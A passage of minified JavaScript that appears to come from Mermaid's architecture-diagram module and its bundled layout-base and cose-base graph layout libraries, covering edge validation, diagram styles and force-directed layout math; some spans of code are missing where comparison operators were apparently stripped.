Expected (L,R,T,B) got ${String(i)}`);if(this.nodes[e]===void 0&&this.groups[e]===void 0)throw new Error(`The left-hand id [${e}] does not yet exist. Please create the service/group before declaring an edge to it.`);if(this.nodes[r]===void 0&&this.groups[r]===void 0)throw new Error(`The right-hand id [${r}] does not yet exist. Please create the service/group before declaring an edge to it.`);let f=this.nodes[e].in,d=this.nodes[r].in;if(l&&f&&d&&f==d)throw new Error(`The left-hand id [${e}] is modified to traverse the group boundary, but the edge does not pass through two groups.`);if(u&&f&&d&&f==d)throw new Error(`The right-hand id [${r}] is modified to traverse the group boundary, but the edge does not pass through two groups.`);let p={lhsId:e,lhsDir:n,lhsInto:a,lhsGroup:l,rhsId:r,rhsDir:i,rhsInto:s,rhsGroup:u,title:h};this.edges.push(p),this.nodes[e]&&this.nodes[r]&&(this.nodes[e].edges.push(this.edges[this.edges.length-1]),this.nodes[r].edges.push(this.edges[this.edges.length-1]))}getEdges(){return this.edges}getDataStructures(){if(this.dataStructures===void 0){let e={},r=Object.entries(this.nodes).reduce((u,[h,f])=>(u[h]=f.edges.reduce((d,p)=>{let m=this.getNode(p.lhsId)?.in,g=this.getNode(p.rhsId)?.in;if(m&&g&&m!==g){let y=S4e(p.lhsDir,p.rhsDir);y!=="bend"&&(e[m]??={},e[m][g]=y,e[g]??={},e[g][m]=y)}if(p.lhsId===h){let y=I4(p.lhsDir,p.rhsDir);y&&(d[y]=p.rhsId)}else{let y=I4(p.rhsDir,p.lhsDir);y&&(d[y]=p.lhsId)}return d},{}),u),{}),n=Object.keys(r)[0],i={[n]:1},a=Object.keys(r).reduce((u,h)=>h===n?u:{...u,[h]:1},{}),s=o(u=>{let h={[u]:[0,0]},f=[u];for(;f.length>0;){let d=f.shift();if(d){i[d]=1,delete a[d];let p=r[d],[m,g]=h[d];Object.entries(p).forEach(([y,v])=>{i[v]||(h[v]=k4e([m,g],y),f.push(v))})}}return h},"BFS"),l=[s(n)];for(;Object.keys(a).length>0;)l.push(s(Object.keys(a)[0]));this.dataStructures={adjList:r,spatialMaps:l,groupAlignments:e}}return this.dataStructures}setElementForId(e,r){this.elements[e]=r}getElementById(e){return this.elements[e]}getConfig(){return Vn({...Cit,...Qt().architecture})}getConfigField(e){return this.getConfig()[e]}}});var Ait,_z,_4e=N(()=>{"use strict";Uf();pt();r0();Az();Ait=o((t,e)=>{nl(t,e),t.groups.map(r=>e.addGroup(r)),t.services.map(r=>e.addService({...r,type:"service"})),t.junctions.map(r=>e.addJunction({...r,type:"junction"})),t.edges.map(r=>e.addEdge(r))},"populateDb"),_z={parser:{yy:void 0},parse:o(async t=>{let e=await bs("architecture",t);X.debug(e);let r=_z.parser?.yy;if(!(r instanceof vy))throw new Error("parser.parser?.yy was not a ArchitectureDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");Ait(e,r)},"parse")}});var _it,D4e,L4e=N(()=>{"use strict";_it=o(t=>` + .edge { + stroke-width: ${t.archEdgeWidth}; + stroke: ${t.archEdgeColor}; + fill: none; + } + + .arrow { + fill: ${t.archEdgeArrowColor}; + } + + .node-bkg { + fill: none; + stroke: ${t.archGroupBorderColor}; + stroke-width: ${t.archGroupBorderWidth}; + stroke-dasharray: 8; + } + .node-icon-text { + display: flex; + align-items: center; + } + + .node-icon-text > div { + color: #fff; + margin: 1px; + height: fit-content; + text-align: center; + overflow: hidden; + display: -webkit-box; + -webkit-box-orient: vertical; + } +`,"getStyles"),D4e=_it});var Lz=Da((O4,Dz)=>{"use strict";o((function(e,r){typeof O4=="object"&&typeof Dz=="object"?Dz.exports=r():typeof define=="function"&&define.amd?define([],r):typeof O4=="object"?O4.layoutBase=r():e.layoutBase=r()}),"webpackUniversalModuleDefinition")(O4,function(){return(function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return o(r,"__webpack_require__"),r.m=t,r.c=e,r.i=function(n){return n},r.d=function(n,i,a){r.o(n,i)||Object.defineProperty(n,i,{configurable:!1,enumerable:!0,get:a})},r.n=function(n){var i=n&&n.__esModule?o(function(){return n.default},"getDefault"):o(function(){return n},"getModuleExports");return r.d(i,"a",i),i},r.o=function(n,i){return Object.prototype.hasOwnProperty.call(n,i)},r.p="",r(r.s=28)})([(function(t,e,r){"use strict";function n(){}o(n,"LayoutConstants"),n.QUALITY=1,n.DEFAULT_CREATE_BENDS_AS_NEEDED=!1,n.DEFAULT_INCREMENTAL=!1,n.DEFAULT_ANIMATION_ON_LAYOUT=!0,n.DEFAULT_ANIMATION_DURING_LAYOUT=!1,n.DEFAULT_ANIMATION_PERIOD=50,n.DEFAULT_UNIFORM_LEAF_NODE_SIZES=!1,n.DEFAULT_GRAPH_MARGIN=15,n.NODE_DIMENSIONS_INCLUDE_LABELS=!1,n.SIMPLE_NODE_SIZE=40,n.SIMPLE_NODE_HALF_SIZE=n.SIMPLE_NODE_SIZE/2,n.EMPTY_COMPOUND_NODE_SIZE=40,n.MIN_EDGE_LENGTH=1,n.WORLD_BOUNDARY=1e6,n.INITIAL_WORLD_BOUNDARY=n.WORLD_BOUNDARY/1e3,n.WORLD_CENTER_X=1200,n.WORLD_CENTER_Y=900,t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(8),a=r(9);function s(u,h,f){n.call(this,f),this.isOverlapingSourceAndTarget=!1,this.vGraphObject=f,this.bendpoints=[],this.source=u,this.target=h}o(s,"LEdge"),s.prototype=Object.create(n.prototype);for(var l in n)s[l]=n[l];s.prototype.getSource=function(){return this.source},s.prototype.getTarget=function(){return this.target},s.prototype.isInterGraph=function(){return this.isInterGraph},s.prototype.getLength=function(){return this.length},s.prototype.isOverlapingSourceAndTarget=function(){return this.isOverlapingSourceAndTarget},s.prototype.getBendpoints=function(){return this.bendpoints},s.prototype.getLca=function(){return this.lca},s.prototype.getSourceInLca=function(){return this.sourceInLca},s.prototype.getTargetInLca=function(){return this.targetInLca},s.prototype.getOtherEnd=function(u){if(this.source===u)return this.target;if(this.target===u)return this.source;throw"Node is not incident with this edge"},s.prototype.getOtherEndInGraph=function(u,h){for(var f=this.getOtherEnd(u),d=h.getGraphManager().getRoot();;){if(f.getOwner()==h)return f;if(f.getOwner()==d)break;f=f.getOwner().getParent()}return null},s.prototype.updateLength=function(){var u=new Array(4);this.isOverlapingSourceAndTarget=i.getIntersection(this.target.getRect(),this.source.getRect(),u),this.isOverlapingSourceAndTarget||(this.lengthX=u[0]-u[2],this.lengthY=u[1]-u[3],Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY))},s.prototype.updateLengthSimple=function(){this.lengthX=this.target.getCenterX()-this.source.getCenterX(),this.lengthY=this.target.getCenterY()-this.source.getCenterY(),Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY)},t.exports=s}),(function(t,e,r){"use strict";function n(i){this.vGraphObject=i}o(n,"LGraphObject"),t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(13),s=r(0),l=r(16),u=r(5);function h(d,p,m,g){m==null&&g==null&&(g=p),n.call(this,g),d.graphManager!=null&&(d=d.graphManager),this.estimatedSize=i.MIN_VALUE,this.inclusionTreeDepth=i.MAX_VALUE,this.vGraphObject=g,this.edges=[],this.graphManager=d,m!=null&&p!=null?this.rect=new a(p.x,p.y,m.width,m.height):this.rect=new a}o(h,"LNode"),h.prototype=Object.create(n.prototype);for(var f in n)h[f]=n[f];h.prototype.getEdges=function(){return this.edges},h.prototype.getChild=function(){return this.child},h.prototype.getOwner=function(){return this.owner},h.prototype.getWidth=function(){return this.rect.width},h.prototype.setWidth=function(d){this.rect.width=d},h.prototype.getHeight=function(){return this.rect.height},h.prototype.setHeight=function(d){this.rect.height=d},h.prototype.getCenterX=function(){return this.rect.x+this.rect.width/2},h.prototype.getCenterY=function(){return this.rect.y+this.rect.height/2},h.prototype.getCenter=function(){return new u(this.rect.x+this.rect.width/2,this.rect.y+this.rect.height/2)},h.prototype.getLocation=function(){return new u(this.rect.x,this.rect.y)},h.prototype.getRect=function(){return this.rect},h.prototype.getDiagonal=function(){return Math.sqrt(this.rect.width*this.rect.width+this.rect.height*this.rect.height)},h.prototype.getHalfTheDiagonal=function(){return Math.sqrt(this.rect.height*this.rect.height+this.rect.width*this.rect.width)/2},h.prototype.setRect=function(d,p){this.rect.x=d.x,this.rect.y=d.y,this.rect.width=p.width,this.rect.height=p.height},h.prototype.setCenter=function(d,p){this.rect.x=d-this.rect.width/2,this.rect.y=p-this.rect.height/2},h.prototype.setLocation=function(d,p){this.rect.x=d,this.rect.y=p},h.prototype.moveBy=function(d,p){this.rect.x+=d,this.rect.y+=p},h.prototype.getEdgeListToNode=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(y.target==d){if(y.source!=g)throw"Incorrect edge source!";p.push(y)}}),p},h.prototype.getEdgesBetween=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(!(y.source==g||y.target==g))throw"Incorrect edge source and/or target";(y.target==d||y.source==d)&&p.push(y)}),p},h.prototype.getNeighborsList=function(){var d=new Set,p=this;return p.edges.forEach(function(m){if(m.source==p)d.add(m.target);else{if(m.target!=p)throw"Incorrect incidency!";d.add(m.source)}}),d},h.prototype.withChildren=function(){var d=new Set,p,m;if(d.add(this),this.child!=null)for(var g=this.child.getNodes(),y=0;yp?(this.rect.x-=(this.labelWidth-p)/2,this.setWidth(this.labelWidth)):this.labelPosHorizontal=="right"&&this.setWidth(p+this.labelWidth)),this.labelHeight&&(this.labelPosVertical=="top"?(this.rect.y-=this.labelHeight,this.setHeight(m+this.labelHeight)):this.labelPosVertical=="center"&&this.labelHeight>m?(this.rect.y-=(this.labelHeight-m)/2,this.setHeight(this.labelHeight)):this.labelPosVertical=="bottom"&&this.setHeight(m+this.labelHeight))}}},h.prototype.getInclusionTreeDepth=function(){if(this.inclusionTreeDepth==i.MAX_VALUE)throw"assert failed";return this.inclusionTreeDepth},h.prototype.transform=function(d){var p=this.rect.x;p>s.WORLD_BOUNDARY?p=s.WORLD_BOUNDARY:p<-s.WORLD_BOUNDARY&&(p=-s.WORLD_BOUNDARY);var m=this.rect.y;m>s.WORLD_BOUNDARY?m=s.WORLD_BOUNDARY:m<-s.WORLD_BOUNDARY&&(m=-s.WORLD_BOUNDARY);var g=new u(p,m),y=d.inverseTransformPoint(g);this.setLocation(y.x,y.y)},h.prototype.getLeft=function(){return this.rect.x},h.prototype.getRight=function(){return this.rect.x+this.rect.width},h.prototype.getTop=function(){return this.rect.y},h.prototype.getBottom=function(){return this.rect.y+this.rect.height},h.prototype.getParent=function(){return this.owner==null?null:this.owner.getParent()},t.exports=h}),(function(t,e,r){"use strict";var n=r(0);function i(){}o(i,"FDLayoutConstants");for(var a in n)i[a]=n[a];i.MAX_ITERATIONS=2500,i.DEFAULT_EDGE_LENGTH=50,i.DEFAULT_SPRING_STRENGTH=.45,i.DEFAULT_REPULSION_STRENGTH=4500,i.DEFAULT_GRAVITY_STRENGTH=.4,i.DEFAULT_COMPOUND_GRAVITY_STRENGTH=1,i.DEFAULT_GRAVITY_RANGE_FACTOR=3.8,i.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=1.5,i.DEFAULT_USE_SMART_IDEAL_EDGE_LENGTH_CALCULATION=!0,i.DEFAULT_USE_SMART_REPULSION_RANGE_CALCULATION=!0,i.DEFAULT_COOLING_FACTOR_INCREMENTAL=.3,i.COOLING_ADAPTATION_FACTOR=.33,i.ADAPTATION_LOWER_NODE_LIMIT=1e3,i.ADAPTATION_UPPER_NODE_LIMIT=5e3,i.MAX_NODE_DISPLACEMENT_INCREMENTAL=100,i.MAX_NODE_DISPLACEMENT=i.MAX_NODE_DISPLACEMENT_INCREMENTAL*3,i.MIN_REPULSION_DIST=i.DEFAULT_EDGE_LENGTH/10,i.CONVERGENCE_CHECK_PERIOD=100,i.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=.1,i.MIN_EDGE_LENGTH=1,i.GRID_CALCULATION_CHECK_PERIOD=10,t.exports=i}),(function(t,e,r){"use strict";function n(i,a){i==null&&a==null?(this.x=0,this.y=0):(this.x=i,this.y=a)}o(n,"PointD"),n.prototype.getX=function(){return this.x},n.prototype.getY=function(){return this.y},n.prototype.setX=function(i){this.x=i},n.prototype.setY=function(i){this.y=i},n.prototype.getDifference=function(i){return new DimensionD(this.x-i.x,this.y-i.y)},n.prototype.getCopy=function(){return new n(this.x,this.y)},n.prototype.translate=function(i){return this.x+=i.width,this.y+=i.height,this},t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(0),s=r(7),l=r(3),u=r(1),h=r(13),f=r(12),d=r(11);function p(g,y,v){n.call(this,v),this.estimatedSize=i.MIN_VALUE,this.margin=a.DEFAULT_GRAPH_MARGIN,this.edges=[],this.nodes=[],this.isConnected=!1,this.parent=g,y!=null&&y instanceof s?this.graphManager=y:y!=null&&y instanceof Layout&&(this.graphManager=y.graphManager)}o(p,"LGraph"),p.prototype=Object.create(n.prototype);for(var m in n)p[m]=n[m];p.prototype.getNodes=function(){return this.nodes},p.prototype.getEdges=function(){return this.edges},p.prototype.getGraphManager=function(){return this.graphManager},p.prototype.getParent=function(){return this.parent},p.prototype.getLeft=function(){return this.left},p.prototype.getRight=function(){return this.right},p.prototype.getTop=function(){return this.top},p.prototype.getBottom=function(){return this.bottom},p.prototype.isConnected=function(){return this.isConnected},p.prototype.add=function(g,y,v){if(y==null&&v==null){var x=g;if(this.graphManager==null)throw"Graph has no graph mgr!";if(this.getNodes().indexOf(x)>-1)throw"Node already in graph!";return x.owner=this,this.getNodes().push(x),x}else{var b=g;if(!(this.getNodes().indexOf(y)>-1&&this.getNodes().indexOf(v)>-1))throw"Source or target not in graph!";if(!(y.owner==v.owner&&y.owner==this))throw"Both owners must be this graph!";return y.owner!=v.owner?null:(b.source=y,b.target=v,b.isInterGraph=!1,this.getEdges().push(b),y.edges.push(b),v!=y&&v.edges.push(b),b)}},p.prototype.remove=function(g){var y=g;if(g instanceof l){if(y==null)throw"Node is null!";if(!(y.owner!=null&&y.owner==this))throw"Owner graph is invalid!";if(this.graphManager==null)throw"Owner graph manager is invalid!";for(var v=y.edges.slice(),x,b=v.length,T=0;T-1&&k>-1))throw"Source and/or target doesn't know this edge!";x.source.edges.splice(w,1),x.target!=x.source&&x.target.edges.splice(k,1);var S=x.source.owner.getEdges().indexOf(x);if(S==-1)throw"Not in owner's edge list!";x.source.owner.getEdges().splice(S,1)}},p.prototype.updateLeftTop=function(){for(var g=i.MAX_VALUE,y=i.MAX_VALUE,v,x,b,T=this.getNodes(),S=T.length,w=0;wv&&(g=v),y>x&&(y=x)}return g==i.MAX_VALUE?null:(T[0].getParent().paddingLeft!=null?b=T[0].getParent().paddingLeft:b=this.margin,this.left=y-b,this.top=g-b,new f(this.left,this.top))},p.prototype.updateBounds=function(g){for(var y=i.MAX_VALUE,v=-i.MAX_VALUE,x=i.MAX_VALUE,b=-i.MAX_VALUE,T,S,w,k,A,C=this.nodes,R=C.length,I=0;IT&&(y=T),vw&&(x=w),bT&&(y=T),vw&&(x=w),b=this.nodes.length){var R=0;v.forEach(function(I){I.owner==g&&R++}),R==this.nodes.length&&(this.isConnected=!0)}},t.exports=p}),(function(t,e,r){"use strict";var n,i=r(1);function a(s){n=r(6),this.layout=s,this.graphs=[],this.edges=[]}o(a,"LGraphManager"),a.prototype.addRoot=function(){var s=this.layout.newGraph(),l=this.layout.newNode(null),u=this.add(s,l);return this.setRootGraph(u),this.rootGraph},a.prototype.add=function(s,l,u,h,f){if(u==null&&h==null&&f==null){if(s==null)throw"Graph is null!";if(l==null)throw"Parent node is null!";if(this.graphs.indexOf(s)>-1)throw"Graph already in this graph mgr!";if(this.graphs.push(s),s.parent!=null)throw"Already has a parent!";if(l.child!=null)throw"Already has a child!";return s.parent=l,l.child=s,s}else{f=u,h=l,u=s;var d=h.getOwner(),p=f.getOwner();if(!(d!=null&&d.getGraphManager()==this))throw"Source not in this graph mgr!";if(!(p!=null&&p.getGraphManager()==this))throw"Target not in this graph mgr!";if(d==p)return u.isInterGraph=!1,d.add(u,h,f);if(u.isInterGraph=!0,u.source=h,u.target=f,this.edges.indexOf(u)>-1)throw"Edge already in inter-graph edge list!";if(this.edges.push(u),!(u.source!=null&&u.target!=null))throw"Edge source and/or target is null!";if(!(u.source.edges.indexOf(u)==-1&&u.target.edges.indexOf(u)==-1))throw"Edge already in source and/or target incidency list!";return u.source.edges.push(u),u.target.edges.push(u),u}},a.prototype.remove=function(s){if(s instanceof n){var l=s;if(l.getGraphManager()!=this)throw"Graph not in this graph mgr";if(!(l==this.rootGraph||l.parent!=null&&l.parent.graphManager==this))throw"Invalid parent node!";var u=[];u=u.concat(l.getEdges());for(var h,f=u.length,d=0;d=s.getRight()?l[0]+=Math.min(s.getX()-a.getX(),a.getRight()-s.getRight()):s.getX()<=a.getX()&&s.getRight()>=a.getRight()&&(l[0]+=Math.min(a.getX()-s.getX(),s.getRight()-a.getRight())),a.getY()<=s.getY()&&a.getBottom()>=s.getBottom()?l[1]+=Math.min(s.getY()-a.getY(),a.getBottom()-s.getBottom()):s.getY()<=a.getY()&&s.getBottom()>=a.getBottom()&&(l[1]+=Math.min(a.getY()-s.getY(),s.getBottom()-a.getBottom()));var f=Math.abs((s.getCenterY()-a.getCenterY())/(s.getCenterX()-a.getCenterX()));s.getCenterY()===a.getCenterY()&&s.getCenterX()===a.getCenterX()&&(f=1);var d=f*l[0],p=l[1]/f;l[0]d)return l[0]=u,l[1]=m,l[2]=f,l[3]=C,!1;if(hf)return l[0]=p,l[1]=h,l[2]=k,l[3]=d,!1;if(uf?(l[0]=y,l[1]=v,E=!0):(l[0]=g,l[1]=m,E=!0):_===M&&(u>f?(l[0]=p,l[1]=m,E=!0):(l[0]=x,l[1]=v,E=!0)),-O===M?f>u?(l[2]=A,l[3]=C,D=!0):(l[2]=k,l[3]=w,D=!0):O===M&&(f>u?(l[2]=S,l[3]=w,D=!0):(l[2]=R,l[3]=C,D=!0)),E&&D)return!1;if(u>f?h>d?(P=this.getCardinalDirection(_,M,4),B=this.getCardinalDirection(O,M,2)):(P=this.getCardinalDirection(-_,M,3),B=this.getCardinalDirection(-O,M,1)):h>d?(P=this.getCardinalDirection(-_,M,1),B=this.getCardinalDirection(-O,M,3)):(P=this.getCardinalDirection(_,M,2),B=this.getCardinalDirection(O,M,4)),!E)switch(P){case 1:G=m,F=u+-T/M,l[0]=F,l[1]=G;break;case 2:F=x,G=h+b*M,l[0]=F,l[1]=G;break;case 3:G=v,F=u+T/M,l[0]=F,l[1]=G;break;case 4:F=y,G=h+-b*M,l[0]=F,l[1]=G;break}if(!D)switch(B){case 1:U=w,$=f+-L/M,l[2]=$,l[3]=U;break;case 2:$=R,U=d+I*M,l[2]=$,l[3]=U;break;case 3:U=C,$=f+L/M,l[2]=$,l[3]=U;break;case 4:$=A,U=d+-I*M,l[2]=$,l[3]=U;break}}return!1},i.getCardinalDirection=function(a,s,l){return a>s?l:1+l%4},i.getIntersection=function(a,s,l,u){if(u==null)return this.getIntersection2(a,s,l);var h=a.x,f=a.y,d=s.x,p=s.y,m=l.x,g=l.y,y=u.x,v=u.y,x=void 0,b=void 0,T=void 0,S=void 0,w=void 0,k=void 0,A=void 0,C=void 0,R=void 0;return T=p-f,w=h-d,A=d*f-h*p,S=v-g,k=m-y,C=y*g-m*v,R=T*k-S*w,R===0?null:(x=(w*C-k*A)/R,b=(S*A-T*C)/R,new n(x,b))},i.angleOfVector=function(a,s,l,u){var h=void 0;return a!==l?(h=Math.atan((u-s)/(l-a)),l=0){var v=(-m+Math.sqrt(m*m-4*p*g))/(2*p),x=(-m-Math.sqrt(m*m-4*p*g))/(2*p),b=null;return v>=0&&v<=1?[v]:x>=0&&x<=1?[x]:b}else return null},i.HALF_PI=.5*Math.PI,i.ONE_AND_HALF_PI=1.5*Math.PI,i.TWO_PI=2*Math.PI,i.THREE_PI=3*Math.PI,t.exports=i}),(function(t,e,r){"use strict";function n(){}o(n,"IMath"),n.sign=function(i){return i>0?1:i<0?-1:0},n.floor=function(i){return i<0?Math.ceil(i):Math.floor(i)},n.ceil=function(i){return i<0?Math.floor(i):Math.ceil(i)},t.exports=n}),(function(t,e,r){"use strict";function n(){}o(n,"Integer"),n.MAX_VALUE=2147483647,n.MIN_VALUE=-2147483648,t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function h(f,d){for(var p=0;p"u"?"undefined":n(a);return a==null||s!="object"&&s!="function"},t.exports=i}),(function(t,e,r){"use strict";function n(m){if(Array.isArray(m)){for(var g=0,y=Array(m.length);g0&&g;){for(T.push(w[0]);T.length>0&&g;){var k=T[0];T.splice(0,1),b.add(k);for(var A=k.getEdges(),x=0;x-1&&w.splice(L,1)}b=new Set,S=new Map}}return m},p.prototype.createDummyNodesForBendpoints=function(m){for(var g=[],y=m.source,v=this.graphManager.calcLowestCommonAncestor(m.source,m.target),x=0;x0){for(var v=this.edgeToDummyNodes.get(y),x=0;x=0&&g.splice(C,1);var R=S.getNeighborsList();R.forEach(function(E){if(y.indexOf(E)<0){var D=v.get(E),_=D-1;_==1&&k.push(E),v.set(E,_)}})}y=y.concat(k),(g.length==1||g.length==2)&&(x=!0,b=g[0])}return b},p.prototype.setGraphManager=function(m){this.graphManager=m},t.exports=p}),(function(t,e,r){"use strict";function n(){}o(n,"RandomSeed"),n.seed=1,n.x=0,n.nextDouble=function(){return n.x=Math.sin(n.seed++)*1e4,n.x-Math.floor(n.x)},t.exports=n}),(function(t,e,r){"use strict";var n=r(5);function i(a,s){this.lworldOrgX=0,this.lworldOrgY=0,this.ldeviceOrgX=0,this.ldeviceOrgY=0,this.lworldExtX=1,this.lworldExtY=1,this.ldeviceExtX=1,this.ldeviceExtY=1}o(i,"Transform"),i.prototype.getWorldOrgX=function(){return this.lworldOrgX},i.prototype.setWorldOrgX=function(a){this.lworldOrgX=a},i.prototype.getWorldOrgY=function(){return this.lworldOrgY},i.prototype.setWorldOrgY=function(a){this.lworldOrgY=a},i.prototype.getWorldExtX=function(){return this.lworldExtX},i.prototype.setWorldExtX=function(a){this.lworldExtX=a},i.prototype.getWorldExtY=function(){return this.lworldExtY},i.prototype.setWorldExtY=function(a){this.lworldExtY=a},i.prototype.getDeviceOrgX=function(){return this.ldeviceOrgX},i.prototype.setDeviceOrgX=function(a){this.ldeviceOrgX=a},i.prototype.getDeviceOrgY=function(){return this.ldeviceOrgY},i.prototype.setDeviceOrgY=function(a){this.ldeviceOrgY=a},i.prototype.getDeviceExtX=function(){return this.ldeviceExtX},i.prototype.setDeviceExtX=function(a){this.ldeviceExtX=a},i.prototype.getDeviceExtY=function(){return this.ldeviceExtY},i.prototype.setDeviceExtY=function(a){this.ldeviceExtY=a},i.prototype.transformX=function(a){var s=0,l=this.lworldExtX;return l!=0&&(s=this.ldeviceOrgX+(a-this.lworldOrgX)*this.ldeviceExtX/l),s},i.prototype.transformY=function(a){var s=0,l=this.lworldExtY;return l!=0&&(s=this.ldeviceOrgY+(a-this.lworldOrgY)*this.ldeviceExtY/l),s},i.prototype.inverseTransformX=function(a){var s=0,l=this.ldeviceExtX;return l!=0&&(s=this.lworldOrgX+(a-this.ldeviceOrgX)*this.lworldExtX/l),s},i.prototype.inverseTransformY=function(a){var s=0,l=this.ldeviceExtY;return l!=0&&(s=this.lworldOrgY+(a-this.ldeviceOrgY)*this.lworldExtY/l),s},i.prototype.inverseTransformPoint=function(a){var s=new n(this.inverseTransformX(a.x),this.inverseTransformY(a.y));return s},t.exports=i}),(function(t,e,r){"use strict";function n(d){if(Array.isArray(d)){for(var p=0,m=Array(d.length);pa.ADAPTATION_LOWER_NODE_LIMIT&&(this.coolingFactor=Math.max(this.coolingFactor*a.COOLING_ADAPTATION_FACTOR,this.coolingFactor-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*this.coolingFactor*(1-a.COOLING_ADAPTATION_FACTOR))),this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT_INCREMENTAL):(d>a.ADAPTATION_LOWER_NODE_LIMIT?this.coolingFactor=Math.max(a.COOLING_ADAPTATION_FACTOR,1-(d-a.ADAPTATION_LOWER_NODE_LIMIT)/(a.ADAPTATION_UPPER_NODE_LIMIT-a.ADAPTATION_LOWER_NODE_LIMIT)*(1-a.COOLING_ADAPTATION_FACTOR)):this.coolingFactor=1,this.initialCoolingFactor=this.coolingFactor,this.maxNodeDisplacement=a.MAX_NODE_DISPLACEMENT),this.maxIterations=Math.max(this.getAllNodes().length*5,this.maxIterations),this.displacementThresholdPerNode=3*a.DEFAULT_EDGE_LENGTH/100,this.totalDisplacementThreshold=this.displacementThresholdPerNode*this.getAllNodes().length,this.repulsionRange=this.calcRepulsionRange()},h.prototype.calcSpringForces=function(){for(var d=this.getAllEdges(),p,m=0;m0&&arguments[0]!==void 0?arguments[0]:!0,p=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,m,g,y,v,x=this.getAllNodes(),b;if(this.useFRGridVariant)for(this.totalIterations%a.GRID_CALCULATION_CHECK_PERIOD==1&&d&&this.updateGrid(),b=new Set,m=0;mT||b>T)&&(d.gravitationForceX=-this.gravityConstant*y,d.gravitationForceY=-this.gravityConstant*v)):(T=p.getEstimatedSize()*this.compoundGravityRangeFactor,(x>T||b>T)&&(d.gravitationForceX=-this.gravityConstant*y*this.compoundGravityConstant,d.gravitationForceY=-this.gravityConstant*v*this.compoundGravityConstant))},h.prototype.isConverged=function(){var d,p=!1;return this.totalIterations>this.maxIterations/3&&(p=Math.abs(this.totalDisplacement-this.oldTotalDisplacement)<2),d=this.totalDisplacement=x.length||T>=x[0].length)){for(var S=0;Sh},"_defaultCompareFunction")}]),l})();t.exports=s}),(function(t,e,r){"use strict";function n(){}o(n,"SVD"),n.svd=function(i){this.U=null,this.V=null,this.s=null,this.m=0,this.n=0,this.m=i.length,this.n=i[0].length;var a=Math.min(this.m,this.n);this.s=(function(dt){for(var nt=[];dt-- >0;)nt.push(0);return nt})(Math.min(this.m+1,this.n)),this.U=(function(dt){var nt=o(function bt(wt){if(wt.length==0)return 0;for(var yt=[],ft=0;ft0;)nt.push(0);return nt})(this.n),l=(function(dt){for(var nt=[];dt-- >0;)nt.push(0);return nt})(this.m),u=!0,h=!0,f=Math.min(this.m-1,this.n),d=Math.max(0,Math.min(this.n-2,this.m)),p=0;p=0;M--)if(this.s[M]!==0){for(var P=M+1;P=0;te--){if((function(dt,nt){return dt&&nt})(te0;){var Q=void 0,de=void 0;for(Q=D-2;Q>=-1&&Q!==-1;Q--)if(Math.abs(s[Q])<=ae+K*(Math.abs(this.s[Q])+Math.abs(this.s[Q+1]))){s[Q]=0;break}if(Q===D-2)de=4;else{var ne=void 0;for(ne=D-1;ne>=Q&&ne!==Q;ne--){var Te=(ne!==D?Math.abs(s[ne]):0)+(ne!==Q+1?Math.abs(s[ne-1]):0);if(Math.abs(this.s[ne])<=ae+K*Te){this.s[ne]=0;break}}ne===Q?de=3:ne===D-1?de=1:(de=2,Q=ne)}switch(Q++,de){case 1:{var q=s[D-2];s[D-2]=0;for(var Ve=D-2;Ve>=Q;Ve--){var pe=n.hypot(this.s[Ve],q),Be=this.s[Ve]/pe,Ye=q/pe;if(this.s[Ve]=pe,Ve!==Q&&(q=-Ye*s[Ve-1],s[Ve-1]=Be*s[Ve-1]),h)for(var He=0;He=this.s[Q+1]);){var lt=this.s[Q];if(this.s[Q]=this.s[Q+1],this.s[Q+1]=lt,h&&QMath.abs(a)?(s=a/i,s=Math.abs(i)*Math.sqrt(1+s*s)):a!=0?(s=i/a,s=Math.abs(a)*Math.sqrt(1+s*s)):s=0,s},t.exports=n}),(function(t,e,r){"use strict";var n=(function(){function s(l,u){for(var h=0;h2&&arguments[2]!==void 0?arguments[2]:1,f=arguments.length>3&&arguments[3]!==void 0?arguments[3]:-1,d=arguments.length>4&&arguments[4]!==void 0?arguments[4]:-1;i(this,s),this.sequence1=l,this.sequence2=u,this.match_score=h,this.mismatch_penalty=f,this.gap_penalty=d,this.iMax=l.length+1,this.jMax=u.length+1,this.grid=new Array(this.iMax);for(var p=0;p=0;l--){var u=this.listeners[l];u.event===a&&u.callback===s&&this.listeners.splice(l,1)}},i.emit=function(a,s){for(var l=0;l{"use strict";o((function(e,r){typeof P4=="object"&&typeof Rz=="object"?Rz.exports=r(Lz()):typeof define=="function"&&define.amd?define(["layout-base"],r):typeof P4=="object"?P4.coseBase=r(Lz()):e.coseBase=r(e.layoutBase)}),"webpackUniversalModuleDefinition")(P4,function(t){return(()=>{"use strict";var e={45:((a,s,l)=>{var u={};u.layoutBase=l(551),u.CoSEConstants=l(806),u.CoSEEdge=l(767),u.CoSEGraph=l(880),u.CoSEGraphManager=l(578),u.CoSELayout=l(765),u.CoSENode=l(991),u.ConstraintHandler=l(902),a.exports=u}),806:((a,s,l)=>{var u=l(551).FDLayoutConstants;function h(){}o(h,"CoSEConstants");for(var f in 